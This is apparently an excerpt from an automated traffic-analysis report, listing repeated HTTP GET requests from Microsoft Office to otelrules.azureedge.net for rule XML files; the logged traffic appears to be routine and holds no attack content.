Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
